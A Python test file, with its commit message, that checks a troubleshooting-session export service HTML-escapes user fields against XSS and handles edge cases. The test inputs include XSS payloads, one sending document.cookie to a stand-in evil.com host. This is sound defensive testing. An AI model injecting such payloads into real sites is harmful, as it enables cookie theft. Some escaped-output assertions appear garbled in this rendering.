Export security tests (26 new tests): - 11 XSS prevention tests covering all user-supplied fields in HTML export (tree name, ticket, client, decisions, notes, timestamps, scratchpad) - 7 edge case tests (unicode/emoji, empty decisions, missing fields, long content) - 5 format-specific tests (markdown headers, text numbering) - 3 HTML structure tests (valid document, CSS, timestamp toggle) CI coverage reporting: - Add --cov=app --cov-report flags to pytest in GitHub Actions - Display per-module coverage summary after test run - Baseline: 63% overall, 98% on export_service.py Total tests: 215 (189 existing + 26 new) Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
288 lines
11 KiB
Python
288 lines
11 KiB
Python
"""Security tests for session export generators.
|
|
|
|
Validates that all user-supplied content is properly escaped in HTML exports
|
|
to prevent XSS attacks, and that markdown/text exports handle edge cases.
|
|
"""
|
|
|
|
from datetime import datetime, timezone
|
|
from unittest.mock import MagicMock
|
|
|
|
import pytest
|
|
|
|
from app.schemas.session import SessionExport
|
|
from app.services.export_service import (
|
|
generate_html_export,
|
|
generate_markdown_export,
|
|
generate_text_export,
|
|
)
|
|
|
|
|
|
def _make_session(
|
|
tree_name="Test Tree",
|
|
ticket_number=None,
|
|
client_name=None,
|
|
decisions=None,
|
|
scratchpad="",
|
|
):
|
|
"""Create a mock session object for export testing."""
|
|
session = MagicMock()
|
|
session.tree_snapshot = {"name": tree_name}
|
|
session.ticket_number = ticket_number
|
|
session.client_name = client_name
|
|
session.decisions = decisions or []
|
|
session.scratchpad = scratchpad
|
|
session.started_at = datetime(2026, 1, 15, 10, 30, tzinfo=timezone.utc)
|
|
session.completed_at = datetime(2026, 1, 15, 11, 0, tzinfo=timezone.utc)
|
|
return session
|
|
|
|
|
|
def _default_options(**kwargs):
|
|
"""Create SessionExport options with defaults."""
|
|
return SessionExport(
|
|
format=kwargs.get("format", "html"),
|
|
include_timestamps=kwargs.get("include_timestamps", True),
|
|
include_tree_info=kwargs.get("include_tree_info", True),
|
|
)
|
|
|
|
|
|
# --- XSS Prevention Tests (HTML Export) ---
|
|
|
|
|
|
class TestHtmlExportXssSecurity:
|
|
"""Verify all user-supplied fields are HTML-escaped in HTML export."""
|
|
|
|
def test_tree_name_script_tag_escaped(self):
|
|
session = _make_session(tree_name='<script>alert("xss")</script>')
|
|
result = generate_html_export(session, _default_options())
|
|
assert "<script>" not in result
|
|
assert "<script>" in result
|
|
|
|
def test_tree_name_event_handler_escaped(self):
|
|
session = _make_session(tree_name='<img src=x onerror="alert(1)">')
|
|
result = generate_html_export(session, _default_options())
|
|
assert "onerror" not in result.split("&")[0] # onerror should be inside escaped string
|
|
assert "<img" in result
|
|
|
|
def test_ticket_number_xss_escaped(self):
|
|
session = _make_session(
|
|
ticket_number='<script>document.cookie</script>'
|
|
)
|
|
result = generate_html_export(session, _default_options())
|
|
assert "<script>" not in result
|
|
assert "<script>" in result
|
|
|
|
def test_client_name_xss_escaped(self):
|
|
session = _make_session(client_name='<img src=x onerror="fetch(\'evil.com\')">')
|
|
result = generate_html_export(session, _default_options())
|
|
assert "onerror" not in result.split("&")[0]
|
|
assert "<img" in result
|
|
|
|
def test_decision_question_xss_escaped(self):
|
|
session = _make_session(decisions=[
|
|
{"question": '<script>alert("q")</script>', "answer": "Yes"}
|
|
])
|
|
result = generate_html_export(session, _default_options())
|
|
assert "<script>" not in result
|
|
assert "<script>" in result
|
|
|
|
def test_decision_answer_xss_escaped(self):
|
|
session = _make_session(decisions=[
|
|
{"question": "Safe question", "answer": '"><script>alert(1)</script>'}
|
|
])
|
|
result = generate_html_export(session, _default_options())
|
|
assert "<script>" not in result
|
|
|
|
def test_decision_notes_xss_escaped(self):
|
|
session = _make_session(decisions=[
|
|
{"question": "Q", "answer": "A", "notes": '<iframe src="evil.com"></iframe>'}
|
|
])
|
|
result = generate_html_export(session, _default_options())
|
|
assert "<iframe" not in result
|
|
assert "<iframe" in result
|
|
|
|
def test_decision_timestamp_xss_escaped(self):
|
|
session = _make_session(decisions=[
|
|
{"question": "Q", "answer": "A", "timestamp": '<script>alert("t")</script>'}
|
|
])
|
|
result = generate_html_export(session, _default_options())
|
|
assert "<script>" not in result
|
|
|
|
def test_scratchpad_xss_escaped(self):
|
|
session = _make_session(
|
|
scratchpad='<script>fetch("https://evil.com/steal?c="+document.cookie)</script>'
|
|
)
|
|
result = generate_html_export(session, _default_options())
|
|
assert "<script>" not in result
|
|
assert "<script>" in result
|
|
|
|
def test_action_performed_field_xss_escaped(self):
|
|
"""Test the fallback field 'action_performed' is also escaped."""
|
|
session = _make_session(decisions=[
|
|
{"action_performed": '<script>alert("ap")</script>', "answer": "Done"}
|
|
])
|
|
result = generate_html_export(session, _default_options())
|
|
assert "<script>" not in result
|
|
|
|
def test_multiple_xss_vectors_in_single_export(self):
|
|
"""Test that all fields are escaped even when multiple contain payloads."""
|
|
session = _make_session(
|
|
tree_name='<script>1</script>',
|
|
ticket_number='<script>2</script>',
|
|
client_name='<script>3</script>',
|
|
scratchpad='<script>4</script>',
|
|
decisions=[
|
|
{
|
|
"question": '<script>5</script>',
|
|
"answer": '<script>6</script>',
|
|
"notes": '<script>7</script>',
|
|
"timestamp": '<script>8</script>',
|
|
}
|
|
],
|
|
)
|
|
result = generate_html_export(session, _default_options())
|
|
# Count: there should be zero raw <script> tags in output
|
|
assert result.count("<script>") == 0
|
|
|
|
|
|
# --- Unicode and Edge Case Tests ---
|
|
|
|
|
|
class TestExportEdgeCases:
|
|
"""Test edge cases across all export formats."""
|
|
|
|
def test_unicode_emoji_in_all_formats(self):
|
|
session = _make_session(
|
|
tree_name="Troubleshooting 🔧",
|
|
client_name="Acme Corp 🏢",
|
|
decisions=[{"question": "Did it work? ✅", "answer": "Yes 👍"}],
|
|
)
|
|
for gen in [generate_html_export, generate_markdown_export, generate_text_export]:
|
|
result = gen(session, _default_options())
|
|
assert "🔧" in result
|
|
assert "✅" in result
|
|
|
|
def test_empty_decisions_list(self):
|
|
session = _make_session(decisions=[])
|
|
for gen in [generate_html_export, generate_markdown_export, generate_text_export]:
|
|
result = gen(session, _default_options())
|
|
assert result # should not crash, should produce output
|
|
|
|
def test_decision_with_missing_fields(self):
|
|
"""Decisions may have only partial fields."""
|
|
session = _make_session(decisions=[
|
|
{"question": "Only question, no answer or notes"},
|
|
{"answer": "Only answer"},
|
|
{},
|
|
])
|
|
for gen in [generate_html_export, generate_markdown_export, generate_text_export]:
|
|
result = gen(session, _default_options())
|
|
assert result
|
|
|
|
def test_very_long_content(self):
|
|
"""Ensure no truncation or crash on large inputs."""
|
|
long_text = "A" * 10000
|
|
session = _make_session(
|
|
tree_name=long_text,
|
|
decisions=[{"question": long_text, "answer": long_text, "notes": long_text}],
|
|
)
|
|
for gen in [generate_html_export, generate_markdown_export, generate_text_export]:
|
|
result = gen(session, _default_options())
|
|
assert len(result) > 10000
|
|
|
|
def test_html_entities_in_content(self):
|
|
"""Ampersands and angle brackets in normal content should be escaped in HTML."""
|
|
session = _make_session(
|
|
tree_name="Q&A: Is 5 > 3?",
|
|
decisions=[{"question": "Check if A < B & C > D", "answer": "True"}],
|
|
)
|
|
result = generate_html_export(session, _default_options())
|
|
assert "Q&A" in result
|
|
assert "<" in result or ">" in result
|
|
|
|
def test_newlines_in_scratchpad_preserved(self):
|
|
"""Scratchpad with newlines should be readable in all formats."""
|
|
session = _make_session(scratchpad="Line 1\nLine 2\nLine 3")
|
|
for gen in [generate_html_export, generate_markdown_export, generate_text_export]:
|
|
result = gen(session, _default_options())
|
|
assert "Line 1" in result
|
|
assert "Line 3" in result
|
|
|
|
|
|
# --- Format-Specific Tests ---
|
|
|
|
|
|
class TestMarkdownExport:
|
|
"""Test markdown-specific output formatting."""
|
|
|
|
def test_includes_header_with_tree_info(self):
|
|
session = _make_session(tree_name="DNS Troubleshooting", ticket_number="TK-1234")
|
|
result = generate_markdown_export(session, _default_options())
|
|
assert "# DNS Troubleshooting" in result
|
|
assert "**Ticket:** TK-1234" in result
|
|
|
|
def test_excludes_tree_info_when_disabled(self):
|
|
session = _make_session(tree_name="DNS Troubleshooting", ticket_number="TK-1234")
|
|
opts = _default_options(include_tree_info=False)
|
|
result = generate_markdown_export(session, opts)
|
|
assert "# DNS Troubleshooting" not in result
|
|
assert "TK-1234" not in result
|
|
|
|
def test_step_numbering(self):
|
|
session = _make_session(decisions=[
|
|
{"question": "Step A", "answer": "Yes"},
|
|
{"question": "Step B", "answer": "No"},
|
|
{"question": "Step C", "answer": "Maybe"},
|
|
])
|
|
result = generate_markdown_export(session, _default_options())
|
|
assert "### Step 1: Step A" in result
|
|
assert "### Step 2: Step B" in result
|
|
assert "### Step 3: Step C" in result
|
|
|
|
|
|
class TestTextExport:
|
|
"""Test plain text output formatting."""
|
|
|
|
def test_includes_header_with_tree_info(self):
|
|
session = _make_session(tree_name="Network Check", client_name="Contoso")
|
|
result = generate_text_export(session, _default_options())
|
|
assert "Network Check" in result
|
|
assert "Client: Contoso" in result
|
|
|
|
def test_step_numbering(self):
|
|
session = _make_session(decisions=[
|
|
{"question": "Check cable", "answer": "Connected"},
|
|
{"question": "Check DNS", "answer": "Resolving"},
|
|
])
|
|
result = generate_text_export(session, _default_options())
|
|
assert "1. Check cable" in result
|
|
assert "2. Check DNS" in result
|
|
|
|
|
|
class TestHtmlExportStructure:
|
|
"""Test HTML output structure (non-security)."""
|
|
|
|
def test_valid_html_document(self):
|
|
session = _make_session()
|
|
result = generate_html_export(session, _default_options())
|
|
assert result.startswith("<!DOCTYPE html>")
|
|
assert "</html>" in result
|
|
assert "<meta charset" in result
|
|
|
|
def test_includes_css_styles(self):
|
|
session = _make_session()
|
|
result = generate_html_export(session, _default_options())
|
|
assert "<style>" in result
|
|
assert "font-family" in result
|
|
|
|
def test_timestamps_included_when_enabled(self):
|
|
session = _make_session()
|
|
opts = _default_options(include_timestamps=True)
|
|
result = generate_html_export(session, opts)
|
|
assert "2026-01-15 10:30" in result
|
|
|
|
def test_timestamps_excluded_when_disabled(self):
|
|
session = _make_session()
|
|
opts = _default_options(include_timestamps=False)
|
|
result = generate_html_export(session, opts)
|
|
assert "2026-01-15" not in result
|